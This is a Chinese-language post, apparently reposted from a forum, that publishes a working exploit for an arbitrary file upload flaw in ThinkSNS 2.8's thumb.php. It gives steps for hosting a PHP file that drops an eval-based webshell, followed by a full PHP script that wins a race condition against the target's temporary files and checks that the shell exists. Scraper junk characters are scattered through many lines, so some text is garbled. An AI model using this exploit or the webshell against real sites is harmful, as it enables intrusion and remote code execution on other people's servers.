Thinksns2.8文件上传漏洞利用exp

admin

漏洞版本
存在漏洞的版本为：最新的2.8稳定版。（其它版本没测试过）
漏洞文件
3 N. J( f9 Z6 }存在漏洞的文件为：thumb.php
作者：韦鲲鹏
4 I  K5 l: X4 E7 L; b) Q; _9 ?1、        准备如下PHP文件并上传到服务器（自己的）。
3 i8 Q# u+ j1 p/ J& r+ U% x2 J5 Z* ~文件内容如下：
% {: _, G. J* D4 ^' j# A<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
2、        计算出临时的文件名：
这里我们可以看文件的99行（刚刚是不是没注意呀！）。
$ P  D" s! y: ]) A2 z$ X
3、        上传临时文件。
0 n8 E- v6 ?: Z4、        访问临时文件。
但是这里有个问题，PHP脚本执行的速度是非常快的，如果手工来执行第三和第四步的话，那需要的反应速度该多快呀！所以必须写一个工具来代替人来提交数 据，而且，为了增加第三步的执行时间，为第四步争取时间，我们需要给第一步所准备的PHP填充内容，经过测试，文件大小为300KB时成功率最高。（太小 时间太短，太大可能传不上去。）
Exploit文件内容如下：（这个我就不详细解释了）
<?php
" @9 W/ ?, D) V! {& C; n/ _error_reporting(0);
$ N- x$ G7 T3 x2 @8 o/ \: M9 y( Mset_time_limit(0);
ini_set(“default_socket_timeout”, 5);
function http_send($host, $port, $headers) {
7 b( X9 }9 c& k. F5 A4 U$fp = fsockopen($host, $port);
+ @7 l  ]9 y& k+ [- Kif (!$fp) die(‘Connection -> fail’);
fputs($fp, $headers);
return $fp;
}
# w8 r' e) R  [) \9 e$ B8 Y  Xfunction http_recv($fp) {
$ret=”";
while (!feof($fp))
0 f6 ]) r, Z2 d4 f$ret.= fgets($fp, 1024);
fclose($fp);
: g: P& W. N0 M3 ?- Lreturn $ret;
) _2 d" F# x! V/ t" V2 Y) t}
print “\n#  ThinkSns Arbitrary File Upload   #\n”;
print “# Discovered by 韦鲲鹏 #\n\n”;
if ($argc < 4) {
5 b4 B: F. `5 \9 Y, V, ]* jprint “Usage:   php <host> <path> <romote_url>\n”;
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
die();
}
; Q# G- c1 q5 R* v$host = $argv[1];
$path = $argv[2];
$ h1 N! t. T$ `$url = $argv[3];
$i=0;
9 F1 ^- [6 f6 x6 `8 K7 f//上传数据包
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
$headers_up .= “Host: “.$host.”\r\n”;
$headers_up .= “Connection: close\r\n\r\n”;
echo $headers_up;
- I5 S& P1 u5 O6 N  C//临时文件访问数据包
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
" h( ]$ D  y# b  G7 v$headers .= “Host: “.$host.”\r\n”;
: J( E5 C4 O' C  j+ Q( ^* U! W. f) j$headers .= “Connection: close\r\n\r\n”;
echo $headers;
9 d! ?0 u4 Q+ h9 q8 B% M  _while(++$i<10) {
3 ~3 h/ L; B* p! ~& Pfclose(http_send($host, 80, $headers));
0 C% o+ b- k3 h- G' y}
fclose(http_send($host, 80, $headers_up));
while(++$i<50) {
fclose(http_send($host, 80, $headers));
}
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
3 J5 M" K. k' Y7 [! d3 n* C$headers .= “Host: “.$host.”\r\n”;
* ^; T2 v+ c9 w$headers .= “Connection: close\r\n\r\n”;
4 v/ t6 S- ~! e3 Q$res=http_recv(http_send($host, 80, $headers));
if(preg_match(‘/200 OK/’,$res)) {
( c# |: \$ U0 }6 v, H: ]print “Success!\n\n”;
4 o9 I. y. `8 y" T# F/ M* W} else {
print “Fail!\n\n”;
% L; J# |: H2 q}
3 O9 y3 D, y; [, x1 A?>
​